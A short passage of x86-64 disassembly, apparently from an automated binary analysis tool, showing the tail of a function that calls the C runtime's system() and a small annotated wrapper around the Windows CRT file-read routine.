cmova rdx, qword [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.1400db960
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rcx, qword [rbp - 0x28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x28]
call fcn.14003d4d0
nop
lea rcx, [rbp - 0x48]
call fcn.14008a0b0
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140148bf0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1400fd5c0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
cdqe
add rsp, 0x28
ret